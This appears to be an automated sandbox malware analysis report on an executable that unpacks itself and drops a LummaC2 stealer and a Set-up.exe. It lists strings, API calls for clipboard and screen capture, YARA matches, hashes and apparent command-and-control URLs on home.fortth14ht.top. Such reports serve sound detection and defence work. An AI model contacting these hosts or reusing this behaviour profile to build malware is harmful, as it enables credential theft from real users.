Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Fri, 27 Dec 2024 13:56:33 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: nginx/1.22.1Date: Fri, 27 Dec 2024 13:56:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: closeData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	String found in binary or memory: http://.css
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	String found in binary or memory: http://.jpg
Source: Set-up.exe.0.dr	String found in binary or memory: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP13
Source: Set-up.exe, Set-up.exe, 00000002.00000003.2009213951.000000000119C000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000002.2010965385.00000000011AA000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000002.2010371783.0000000000729000.00000004.00000001.01000000.00000008.sdmp, Set-up.exe, 00000002.00000003.2009498911.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000003.2009422794.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003
Source: Set-up.exe, 00000002.00000003.2009422794.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP173521000335a1
Source: Set-up.exe, 00000002.00000002.2010997647.00000000011C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003?argument=0
Source: Set-up.exe, 00000002.00000002.2010371783.0000000000729000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: http://home.fortth14ht.top/nTrmoVgOaovBJpKSuLkP1735210003http://home.fortth14ht.top/nTrmoVgOaovBJpKS
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	String found in binary or memory: http://html4/loose.dtd
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe.0.dr	String found in binary or memory: http://timestamp.digicert.com0
Source: Set-up.exe.0.dr	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: Set-up.exe.0.dr	String found in binary or memory: https://curl.se/docs/hsts.html
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe, 00000002.00000003.1755733534.0000000001155000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe.0.dr	String found in binary or memory: https://httpbin.org/ip
Source: Set-up.exe, 00000002.00000003.1755733534.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip_NAME_l
Source: QzK1LCSuq2.exe, 00000000.00000002.1753927761.0000000007CDF000.00000004.00000800.00020000.00000000.sdmp, Set-up.exe, 00000002.00000000.1725254793.000000000072B000.00000002.00000001.01000000.00000008.sdmp, Set-up.exe.0.dr	String found in binary or memory: https://httpbin.org/ipbefore

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Code function: 1_2_00D71B10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

1_2_00D71B10

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Code function: 1_2_00D71B10 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

1_2_00D71B10

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Code function: 1_2_00D71D10 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

1_2_00D71D10

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.QzK1LCSuq2.exe.fd0000.0.unpack, type: UNPACKEDPE

Matched rule: Detects downloader / injector Author: ditekSHen

PE file contains section with special chars

Source: QzK1LCSuq2.exe	Static PE information: section name:
Source: QzK1LCSuq2.exe	Static PE information: section name: .idata
Source: QzK1LCSuq2.exe	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D75135	1_2_00D75135
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D48720	1_2_00D48720
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7A0D0	1_2_00D7A0D0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D780C5	1_2_00D780C5
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D620C0	1_2_00D620C0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D670F9	1_2_00D670F9
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D630E0	1_2_00D630E0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D58095	1_2_00D58095
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6C894	1_2_00D6C894
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D768A0	1_2_00D768A0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5D840	1_2_00D5D840
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7B813	1_2_00D7B813
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5A800	1_2_00D5A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7A800	1_2_00D7A800
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5683F	1_2_00D5683F
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7483C	1_2_00D7483C
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D59820	1_2_00D59820
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D461D0	1_2_00D461D0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6C9DA	1_2_00D6C9DA
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7E1F0	1_2_00D7E1F0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6C9E9	1_2_00D6C9E9
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6C984	1_2_00D6C984
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D659B0	1_2_00D659B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D140	1_2_00D7D140
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4B14F	1_2_00D4B14F
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D45970	1_2_00D45970
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4C97C	1_2_00D4C97C
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D43960	1_2_00D43960
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5AAE0	1_2_00D5AAE0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D51A94	1_2_00D51A94
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D49290	1_2_00D49290
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6C289	1_2_00D6C289
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4F2A0	1_2_00D4F2A0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D54A50	1_2_00D54A50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D67A40	1_2_00D67A40
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D240	1_2_00D7D240
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5C205	1_2_00D5C205
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5720B	1_2_00D5720B
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5E230	1_2_00D5E230
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D66230	1_2_00D66230
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D48A20	1_2_00D48A20
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D76BF0	1_2_00D76BF0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6A3B0	1_2_00D6A3B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D3B0	1_2_00D7D3B0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7DBB0	1_2_00D7DBB0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7CBA6	1_2_00D7CBA6
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4D35C	1_2_00D4D35C
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D57B75	1_2_00D57B75
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D44310	1_2_00D44310
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D71B10	1_2_00D71B10
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4AB20	1_2_00D4AB20
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D320	1_2_00D7D320
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D774F0	1_2_00D774F0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D564E0	1_2_00D564E0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D44C50	1_2_00D44C50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5DC50	1_2_00D5DC50
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7D450	1_2_00D7D450
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D68C46	1_2_00D68C46
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D47440	1_2_00D47440
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D4E465	1_2_00D4E465
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D63C60	1_2_00D63C60
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D67D94	1_2_00D67D94
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D61550	1_2_00D61550
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7E540	1_2_00D7E540
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5D560	1_2_00D5D560
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D61D10	1_2_00D61D10
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7A510	1_2_00D7A510
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D626D3	1_2_00D626D3
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D666C0	1_2_00D666C0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6FEC0	1_2_00D6FEC0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D7DEB0	1_2_00D7DEB0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D77EA0	1_2_00D77EA0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D55640	1_2_00D55640
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D65640	1_2_00D65640
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D46660	1_2_00D46660
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D59605	1_2_00D59605
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5DFC0	1_2_00D5DFC0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6DFC3	1_2_00D6DFC3
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D75FF0	1_2_00D75FF0
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D63FF1	1_2_00D63FF1
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D77790	1_2_00D77790
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D6BF45	1_2_00D6BF45
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D42F40	1_2_00D42F40
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D50F71	1_2_00D50F71
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D49710	1_2_00D49710
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: 1_2_00D5F700	1_2_00D5F700
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Code function: 2_3_011BD628	2_3_011BD628

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\LummaC2.exe C9831759E15B3A52238C03D0D51DB9DE0C1A6C7A61A51DE72C5869061172E9DB
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Set-up.exe 73AA5EE19F0EA048DCFF2F44D6FD5AC41C13E2D7E61371459E756836F72CAD43

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: String function: 00D54A40 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Code function: String function: 00D47FF0 appears 48 times

Source: QzK1LCSuq2.exe, 00000000.00000002.1753583753.0000000005C90000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameladddad.exe4 vs QzK1LCSuq2.exe
Source: QzK1LCSuq2.exe, 00000000.00000002.1751244006.00000000016A6000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameladddad.exe4 vs QzK1LCSuq2.exe
Source: QzK1LCSuq2.exe	Binary or memory string: OriginalFilenameladddad.exe4 vs QzK1LCSuq2.exe

Source: QzK1LCSuq2.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.QzK1LCSuq2.exe.fd0000.0.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector

Source: QzK1LCSuq2.exe

Static PE information: Section: ykklxnol ZLIB complexity 0.9946955228987866

Source: Set-up.exe.0.dr

Binary string: Lntdll.dllNtCreateFileNtDeviceIoControlFileNtCancelIoFileEx\Device\Afd

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/3@8/2

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Code function: 1_2_00D6D110 CoCreateInstance,

1_2_00D6D110

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QzK1LCSuq2.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

File created: C:\Users\user\AppData\Local\Temp\LummaC2.exe

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: QzK1LCSuq2.exe

ReversingLabs: Detection: 65%

Source: QzK1LCSuq2.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: QzK1LCSuq2.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\QzK1LCSuq2.exe "C:\Users\user\Desktop\QzK1LCSuq2.exe"
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\LummaC2.exe "C:\Users\user\AppData\Local\Temp\LummaC2.exe"
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\Set-up.exe "C:\Users\user\AppData\Local\Temp\Set-up.exe"
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\LummaC2.exe "C:\Users\user\AppData\Local\Temp\LummaC2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Process created: C:\Users\user\AppData\Local\Temp\Set-up.exe "C:\Users\user\AppData\Local\Temp\Set-up.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Set-up.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: QzK1LCSuq2.exe

Static file information: File size 6195712 > 1048576

Source: QzK1LCSuq2.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x43d600
Source: QzK1LCSuq2.exe	Static PE information: Raw size of ykklxnol is bigger than: 0x100000 < 0x1a6600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Unpacked PE file: 0.2.QzK1LCSuq2.exe.fd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ykklxnol:EW;vlogqxgm:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: QzK1LCSuq2.exe	Static PE information: real checksum: 0x5f6d60 should be: 0x5ec6a8
